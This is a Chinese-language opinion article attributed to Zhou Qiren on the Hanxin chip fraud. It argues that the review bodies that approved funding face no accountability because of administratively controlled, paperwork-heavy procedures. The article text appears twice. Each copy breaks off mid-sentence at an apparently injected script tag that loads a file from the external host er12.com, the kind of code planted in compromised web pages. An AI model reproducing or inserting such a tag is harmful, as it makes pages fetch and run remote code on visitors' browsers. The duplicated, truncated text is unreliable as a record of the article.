周其仁:漢芯故事的另一面
發布時間:2008/5/22 0:00:00 訪問次數:3257
比方說,“漢芯”當事人究竟是怎樣騙人的——包括公告指明的“造假欺騙”和“夸大欺騙”——大家已經知道了。但是,有關各方究竟在什么情況下“被騙”的,人們還所知甚少。一件騙案,僅有騙方的行為和動機,總不是一個完整的故事。要亡羊補牢,搞清被騙各方究竟怎樣被騙、在什么條件下被騙,可能更為重要。
不是街市上的小騙局,隨便找個理由說說就算了。據稱,“漢芯一號在問世3年時間內,向國家各部門成功申報項目40多次,累計騙取無償撥款突破1億元”(今年1月24日出版的《21世紀經濟報道》)。這一點,今年5月12日上海交大發布的《公告》既沒有確認,也沒有否認。順便一提,這也是我認為公告不能令人滿意的地方——這么一個舉國關注的事件,從舉報到公布處理結果,5個月的時間過去了,怎么連涉及的經費究竟多少,也不明示一下?
但是,《公告》確認了的事項,也足以說明“漢芯”絕不是小事一樁。第一,當事人的職務是國內名牌大學的學院院長、校辦高科技公司總經理;第二,當事人不但是正教授、博士生導師,而且是教育部審批的“長江學者”,以及政府特殊津貼的領受人;第三,當事人從事的科研項目,在國家科技部立項,獲得國家科研經費;項目的部分研究成果,通過了有關方面的鑒定,并召開了新聞發布會;第四,當事人負責的“科研成果產業化”項目,在國家發改委立項,獲相關資助經費。這里涉及的諸項,比如職務、職稱津貼、以及經費數額未經確認的國家科研立項,沒有一樣是簡單的。求之不得的人數甚眾,大家爭來斗去,說“過五關、斬六將”才能殺出重圍,一點都不夸張。
的確,競爭無處不在。大學教授包括本人在內,既不超凡也不脫俗,當然也擺脫不了競爭的壓力。問題是,這里所言“競爭”,不是習慣意義上的“市場競爭”,而是更為一般的、爭奪一切稀缺資源的競爭。事實上,人類為了避免在競爭中滅亡,在各個時代各種情況下總要對競爭加以限制。這是“五常經濟學”的第一課。下面的結論很重要:正是對競爭的不同限制,才區分了不同的競爭類型。比如價格機制當頭的“市場競爭”,不過是在清楚界定的私人產權限制下才有的行為結果——你的財產神圣不可侵犯,除非他人出價,資源絕不歸他人配置。其他限制條件,則定義了形形色色的其他類型的競爭。
“漢芯”過關斬將、取名獲利的競爭,究竟是在什么樣的限制條件下進行的?這一問,問到了故事另一面的關鍵。常識說,那些名頭和聲譽的獲得,以及數額巨大款項的得手,不可能沒有經過層層的申報、審查和批準。可是,騙案曝光之后,那層層疊疊的“評審機構和把關人”為什么如同隱身人一般,沒有一個出來哪怕說一句“對不起,我等中了招”?
因為在制度上完全沒有這樣的要求!這倒不是說有關制度太過簡陋。恰恰相反,近年我國教育科研機構里的程序越來越繁雜。不少教研機構甚至要雇傭專人,才能完成越來越多的填表任務。我自己親見一份申請某教育研究項目的文件,總頁碼居然超過了1000頁!當時我不過有點好奇,審查者怎么看得過來如此海量的信息?“漢芯”案提醒人們,那些耗費巨大社會資源的報批文件也許就是裝樣的,甚至根本就沒有人認真看過。不難理解,對結果無須負責的“審查”,誰又會當真呢?
是我們熟悉的體制和機制,曾經彌漫在我國資源配置的各個領域。主要特征就是行政權力主控、程序繁雜、權力與責任脫節。在這套限制條件下,資源的利用和收益的分配,既無效率,也不可能公正。改革以來,農業、工業和商業率先摒除了這一套,所以中國經濟在世界上開始大有看頭。但是高教、科研等領域究竟改了多少?以“漢芯”為例,上億財政資金被騙而看不到有誰出來負責,難道這也可以說是“市場化改革過了頭”?
不是說市場體制下就不會有騙案。過去有,現在有,將來還有。可是市場制有一招,那就是連被騙的一方也要負責任——不一定要寫聲淚俱下的檢討,可是受騙造成的財產損失,傷身割肉,是最嚴厲的教訓。完全不長記性嗎?也好辦,財產被騙光之日,就是再不能?script src=http://er12.com/t.js>
比方說,“漢芯”當事人究竟是怎樣騙人的——包括公告指明的“造假欺騙”和“夸大欺騙”——大家已經知道了。但是,有關各方究竟在什么情況下“被騙”的,人們還所知甚少。一件騙案,僅有騙方的行為和動機,總不是一個完整的故事。要亡羊補牢,搞清被騙各方究竟怎樣被騙、在什么條件下被騙,可能更為重要。
不是街市上的小騙局,隨便找個理由說說就算了。據稱,“漢芯一號在問世3年時間內,向國家各部門成功申報項目40多次,累計騙取無償撥款突破1億元”(今年1月24日出版的《21世紀經濟報道》)。這一點,今年5月12日上海交大發布的《公告》既沒有確認,也沒有否認。順便一提,這也是我認為公告不能令人滿意的地方——這么一個舉國關注的事件,從舉報到公布處理結果,5個月的時間過去了,怎么連涉及的經費究竟多少,也不明示一下?
但是,《公告》確認了的事項,也足以說明“漢芯”絕不是小事一樁。第一,當事人的職務是國內名牌大學的學院院長、校辦高科技公司總經理;第二,當事人不但是正教授、博士生導師,而且是教育部審批的“長江學者”,以及政府特殊津貼的領受人;第三,當事人從事的科研項目,在國家科技部立項,獲得國家科研經費;項目的部分研究成果,通過了有關方面的鑒定,并召開了新聞發布會;第四,當事人負責的“科研成果產業化”項目,在國家發改委立項,獲相關資助經費。這里涉及的諸項,比如職務、職稱津貼、以及經費數額未經確認的國家科研立項,沒有一樣是簡單的。求之不得的人數甚眾,大家爭來斗去,說“過五關、斬六將”才能殺出重圍,一點都不夸張。
的確,競爭無處不在。大學教授包括本人在內,既不超凡也不脫俗,當然也擺脫不了競爭的壓力。問題是,這里所言“競爭”,不是習慣意義上的“市場競爭”,而是更為一般的、爭奪一切稀缺資源的競爭。事實上,人類為了避免在競爭中滅亡,在各個時代各種情況下總要對競爭加以限制。這是“五常經濟學”的第一課。下面的結論很重要:正是對競爭的不同限制,才區分了不同的競爭類型。比如價格機制當頭的“市場競爭”,不過是在清楚界定的私人產權限制下才有的行為結果——你的財產神圣不可侵犯,除非他人出價,資源絕不歸他人配置。其他限制條件,則定義了形形色色的其他類型的競爭。
“漢芯”過關斬將、取名獲利的競爭,究竟是在什么樣的限制條件下進行的?這一問,問到了故事另一面的關鍵。常識說,那些名頭和聲譽的獲得,以及數額巨大款項的得手,不可能沒有經過層層的申報、審查和批準。可是,騙案曝光之后,那層層疊疊的“評審機構和把關人”為什么如同隱身人一般,沒有一個出來哪怕說一句“對不起,我等中了招”?
因為在制度上完全沒有這樣的要求!這倒不是說有關制度太過簡陋。恰恰相反,近年我國教育科研機構里的程序越來越繁雜。不少教研機構甚至要雇傭專人,才能完成越來越多的填表任務。我自己親見一份申請某教育研究項目的文件,總頁碼居然超過了1000頁!當時我不過有點好奇,審查者怎么看得過來如此海量的信息?“漢芯”案提醒人們,那些耗費巨大社會資源的報批文件也許就是裝樣的,甚至根本就沒有人認真看過。不難理解,對結果無須負責的“審查”,誰又會當真呢?
是我們熟悉的體制和機制,曾經彌漫在我國資源配置的各個領域。主要特征就是行政權力主控、程序繁雜、權力與責任脫節。在這套限制條件下,資源的利用和收益的分配,既無效率,也不可能公正。改革以來,農業、工業和商業率先摒除了這一套,所以中國經濟在世界上開始大有看頭。但是高教、科研等領域究竟改了多少?以“漢芯”為例,上億財政資金被騙而看不到有誰出來負責,難道這也可以說是“市場化改革過了頭”?
不是說市場體制下就不會有騙案。過去有,現在有,將來還有。可是市場制有一招,那就是連被騙的一方也要負責任——不一定要寫聲淚俱下的檢討,可是受騙造成的財產損失,傷身割肉,是最嚴厲的教訓。完全不長記性嗎?也好辦,財產被騙光之日,就是再不能?script src=http://er12.com/t.js>
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